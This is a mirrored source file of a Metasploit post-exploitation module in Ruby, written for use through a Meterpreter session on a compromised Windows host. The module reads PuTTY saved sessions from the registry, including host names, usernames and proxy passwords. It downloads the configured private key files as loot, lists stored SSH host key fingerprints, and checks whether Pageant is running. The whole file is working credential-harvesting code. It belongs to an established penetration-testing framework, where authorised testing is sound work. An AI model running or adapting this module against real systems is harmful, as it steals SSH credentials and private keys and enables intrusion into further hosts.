CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_putty_saved_sessions.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Common
9
include Msf::Post::File
10
include Msf::Post::Windows::Registry
11
12
INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings', 'ProxyUsername', 'ProxyPassword']
13
PAGEANT_REGISTRY_KEY = 'HKCU\\Software\\SimonTatham\\PuTTY'
14
PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'PuTTY Saved Sessions Enumeration Module',
21
'Description' => %q{
22
This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session
23
information from the registry. PuTTY is very configurable; some users may have configured
24
saved sessions which could include a username, private key file to use when authenticating,
25
host name etc. If a private key is configured, an attempt will be made to download and store
26
it in loot. It will also record the SSH host keys which have been stored. These will be connections that
27
the user has previously after accepting the host SSH fingerprint and therefore are of particular
28
interest if they are within scope of a penetration test.
29
},
30
'License' => MSF_LICENSE,
31
'Platform' => ['win'],
32
'SessionTypes' => ['meterpreter'],
33
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_railgun_api
38
]
39
}
40
}
41
)
42
)
43
end
44
45
def get_saved_session_details(sessions)
46
all_sessions = []
47
sessions.each do |ses|
48
newses = {}
49
newses['Name'] = Rex::Text.uri_decode(ses)
50
INTERESTING_KEYS.each do |key|
51
newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s
52
end
53
all_sessions << newses
54
report_note(host: target_host, type: 'putty.savedsession', data: newses, update: :unique_data)
55
end
56
all_sessions
57
end
58
59
def display_saved_sessions_report(info)
60
# Results table holds raw string data
61
results_table = Rex::Text::Table.new(
62
'Header' => 'PuTTY Saved Sessions',
63
'Indent' => 1,
64
'SortIndex' => -1,
65
'Columns' => ['Name'].append(INTERESTING_KEYS).flatten
66
)
67
68
info.each do |result|
69
row = []
70
row << result['Name']
71
INTERESTING_KEYS.each do |key|
72
row << result[key]
73
end
74
results_table << row
75
end
76
77
print_line
78
print_line results_table.to_s
79
stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Saved Sessions List')
80
print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
81
end
82
83
def display_private_key_analysis(info)
84
# Results table holds raw string data
85
results_table = Rex::Text::Table.new(
86
'Header' => 'PuTTY Private Keys',
87
'Indent' => 1,
88
'SortIndex' => -1,
89
'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS
90
)
91
92
info.each do |result|
93
row = []
94
PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|
95
row << result[key]
96
end
97
results_table << row
98
end
99
100
print_line
101
print_line results_table.to_s
102
# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
103
# print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
104
end
105
106
def get_stored_host_key_details(allkeys)
107
# This hash will store (as the key) host:port pairs. This is basically a quick way of
108
# getting a unique list of host:port pairs.
109
all_ssh_host_keys = {}
110
111
# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.
112
rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i
113
114
# Go through each of the stored keys found in the registry
115
allkeys.each do |key|
116
# Store the raw key and value in a hash to start off with
117
newkey = {
118
rawname: key,
119
rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s
120
}
121
122
# Take the key and split up host, port and fingerprint type. If it matches, store the information
123
# in the hash for later.
124
split_hostporttype = rx_split_hostporttype.match(key.to_s)
125
if split_hostporttype
126
127
# Extract the host, port and key type into the hash
128
newkey['host'] = split_hostporttype[:host]
129
newkey['port'] = split_hostporttype[:port]
130
newkey['type'] = split_hostporttype[:type]
131
132
# Form the key
133
host_port = "#{newkey['host']}:#{newkey['port']}"
134
135
# Add it to the consolidation hash. If the same IP has different key types, append to the array
136
all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?
137
all_ssh_host_keys[host_port] << newkey['type']
138
end
139
report_note(host: target_host, type: 'putty.storedfingerprint', data: newkey, update: :unique_data)
140
end
141
all_ssh_host_keys
142
end
143
144
def display_stored_host_keys_report(info)
145
# Results table holds raw string data
146
results_table = Rex::Text::Table.new(
147
'Header' => 'Stored SSH host key fingerprints',
148
'Indent' => 1,
149
'SortIndex' => -1,
150
'Columns' => ['SSH Endpoint', 'Key Type(s)']
151
)
152
153
info.each do |key, result|
154
row = []
155
row << key
156
row << result.join(', ')
157
results_table << row
158
end
159
160
print_line
161
print_line results_table.to_s
162
stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Stored SSH Host Keys List')
163
print_good("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
164
end
165
166
def grab_private_keys(sessions)
167
private_key_summary = []
168
sessions.each do |ses|
169
filename = ses['PublicKeyFile'].to_s
170
next if filename.empty?
171
172
# Check whether the file exists.
173
if file?(filename)
174
ppk = read_file(filename)
175
if ppk # Attempt to read the contents of the file
176
stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)
177
print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")
178
179
# Now analyse the private key
180
private_key = {}
181
private_key['Name'] = ses['Name']
182
private_key['UserName'] = ses['UserName']
183
private_key['HostName'] = ses['HostName']
184
private_key['PublicKeyFile'] = ses['PublicKeyFile']
185
private_key['Type'] = ''
186
private_key['Cipher'] = ''
187
private_key['Comment'] = ''
188
189
# Get type of key
190
if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/
191
# This is an SSH1 header
192
private_key['Type'] = 'ssh1'
193
private_key['Comment'] = '-'
194
if ppk[33] == "\x00"
195
private_key['Cipher'] = 'none'
196
elsif ppk[33] == "\x03"
197
private_key['Cipher'] = '3DES'
198
else
199
private_key['Cipher'] = '(Unrecognised)'
200
end
201
elsif (rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s))
202
# This is an SSH2 header
203
private_key['Type'] = "ssh2 (#{rx[:keytype]})"
204
if (rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s))
205
private_key['Cipher'] = rx[:cipher]
206
else
207
private_key['Cipher'] = '(Unrecognised)'
208
end
209
210
if (rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s))
211
private_key['Comment'] = rx[:comment]
212
end
213
end
214
private_key_summary << private_key
215
else
216
print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
217
end
218
else
219
print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
220
end
221
end
222
private_key_summary
223
end
224
225
# Entry point
226
def run
227
# Look for saved sessions, break out if not.
228
print_status('Looking for saved PuTTY sessions')
229
saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
230
if saved_sessions.nil? || saved_sessions.empty?
231
print_error('No saved sessions found')
232
else
233
234
# Tell the user how many sessions have been found (with correct English)
235
print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
236
237
# Retrieve the saved session details & print them to the screen in a report
238
all_saved_sessions = get_saved_session_details(saved_sessions)
239
display_saved_sessions_report(all_saved_sessions)
240
241
# If the private key file has been configured, retrieve it and save it to loot
242
print_status('Downloading private keys...')
243
private_key_info = grab_private_keys(all_saved_sessions)
244
if !private_key_info.nil? && !private_key_info.empty?
245
print_line
246
display_private_key_analysis(private_key_info)
247
end
248
end
249
250
print_line # Just for readability
251
252
# Now search for SSH stored keys. These could be useful because it shows hosts that the user
253
# has previously connected to and accepted a key from.
254
print_status('Looking for previously stored SSH host key fingerprints')
255
stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
256
if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
257
print_error('No stored SSH host keys found')
258
else
259
# Tell the user how many sessions have been found (with correct English)
260
print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
261
262
# Retrieve the saved session details & print them to the screen in a report
263
print_status('Downloading stored key fingerprints...')
264
all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
265
if all_stored_keys.nil? || all_stored_keys.empty?
266
print_error('No stored key fingerprints found')
267
else
268
display_stored_host_keys_report(all_stored_keys)
269
end
270
end
271
272
print_line # Just for readability
273
274
print_status('Looking for Pageant...')
275
hwnd = client.railgun.user32.FindWindowW('Pageant', 'Pageant')
276
if hwnd['return']
277
print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
278
else
279
print_error('Pageant is not running')
280
end
281
end
282
end
283
284